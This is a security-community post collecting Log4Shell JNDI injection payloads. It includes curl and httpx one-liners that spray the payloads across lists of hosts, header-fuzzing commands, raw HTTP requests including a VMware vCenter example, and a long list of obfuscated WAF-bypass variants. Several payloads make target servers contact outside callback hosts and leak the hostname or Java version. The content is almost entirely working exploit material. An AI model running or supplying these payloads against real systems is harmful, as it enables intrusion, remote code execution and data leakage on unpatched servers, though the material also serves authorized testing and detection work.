🚨 Log4Shell Payloads Collection

A curated list of Log4Shell / Log4J exploitation payloads targeting:

• CVE-2021-45046
• CVE-2022-42889

🔗 By @nav1n0x

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🔥 One-Liner Payloads

✅ Oneliner 1

cat vulnerable-hosts.txt | sed 's/https\?:\/\///' | xargs -I {} echo '{}/${jndi:ldap://{}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' >> L4SFuzzList
httpx -l L4SFuzzList

✅ Oneliner 2

cat 1.txt | while read host; do
  curl -sk --insecure --path-as-is "$host/?test=${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}" \
  -H "X-Api-Version: ${jndi:ldap://log4j.requestcatcher.com/a}" \
  -H "User-Agent: ${jndi:ldap://L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}"
done

Credit: @HackerGautam

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📚 Learn More

• The great resource to learn and earn: https://github.com/pentesterland/Log4Shell

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💥 WAF Bypass Fuzzing (⚠️ High False Positives)

cat vulnerable-hosts.txt |  httpx -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Cookie: mt.v=${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Cookie: CID_CART_COOKIE=${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'User-Agent: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'User-Agent: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Referer: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Origin: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Language: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-By: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-For: \${jndi:ldap://${hostName}.L4J.zdgnnnz669jsqwlr243a74pk1b72v5ju.oastify.com/a}' -H 'X-Forwarded-For-Original: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Host:${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Port: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Proto: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Protocol: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Scheme: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Server: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarded-Ssl: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forwarder-For: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forward-For: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Forward-Proto: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Frame-Options: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-From: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-Geoip-Country: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'X-XSRF-TOKEN: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Datetime: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Charset: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Encoding: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}' -H 'Accept-Language: ${jndi:ldap://x${hostName}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}'

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🧪 Confirm Exploit with Custom Headers

GET /test?id=%24%7Bj%24%7B::-n%7Ddi:dns%24%7B::-:%7D//quua8mp7vfexh3a3qkf1sggj9%24%7B::-.%7Dcanarytokens.com%7D HTTP/1.1
User-Agent: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Origin: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Referer: ${j${::-n}di:dns${::-:}//quua8mp7vfexh3a3qkf1sggj9${::-.}canarytokens.com}
Cookie: LastMRH_Session=***; MRHSession=***
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
Host: ******
Connection: Keep-alive

$ curl test.domain.com -H 'Cookie: CU_BRAND=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}'

GET / HTTP/2
Host: test.domain.com
Referer: https://www.google.com/search?BC=en&q=testing
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Cookie: mt.v=***; CU_ACT=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; CID_CART_COOKIE=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; IBSD_LOCALE=en_US; CU_BRAND=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}; jsession_unique_id=xx888dd667ggddd23454d
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br

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🧩 VMware vCenter Payload Example

POST /analytics/telemetry/ph/api/hyper/send?_c=${jndi:ldap://${sys:java.version}.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a}
Host: test.domain.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

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🎭 WAF Bypass Payload Variants

Credit: Musana

Examples:

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
${jn${env::-}di:ldap://domain.com/j}
${jn${date:}di${date:':'}ldap://domain.com/j}
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://domain.com/j}
${j${main:\k5:-Nd}i${spring:k5:-:}ldap://domain.com/j}
${j${sys:k5:-nD}${lower:i${web:k5:-:}}ldap://domain.com/j}
${j${::-nD}i${::-:}ldap://domain.com/j}
${j${EnV:K5:-nD}i:ldap://domain.com/j}
${j${loWer:Nd}i${uPper::}ldap://domain.com/j}
${jndi:ldap://127.0.0.1#domain.com/j}
${jnd${upper:ı}:ldap://domain.com/j}
${jnd${sys:SYS_NAME:-i}:ldap:/domain.com/j}
${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://domain.com/j}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://domain.com/j}
${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://domain.com/j}
${\u006a\u006e\u0064\u0069:ldap://domain.com/j}
${jn${lower:d}i:l${lower:d}ap://${lower:x}${lower:f}.domain.com/j}
${j${k8s:k5:-ND}${sd:k5:-${123%25ff:-${123%25ff:-${upper:ı}:}}}ldap://domain.com/j}
%24%7Bjndi:ldap://domain.com/j%7D
%24%7Bjn$%7Benv::-%7Ddi:ldap://domain.com/j%7D

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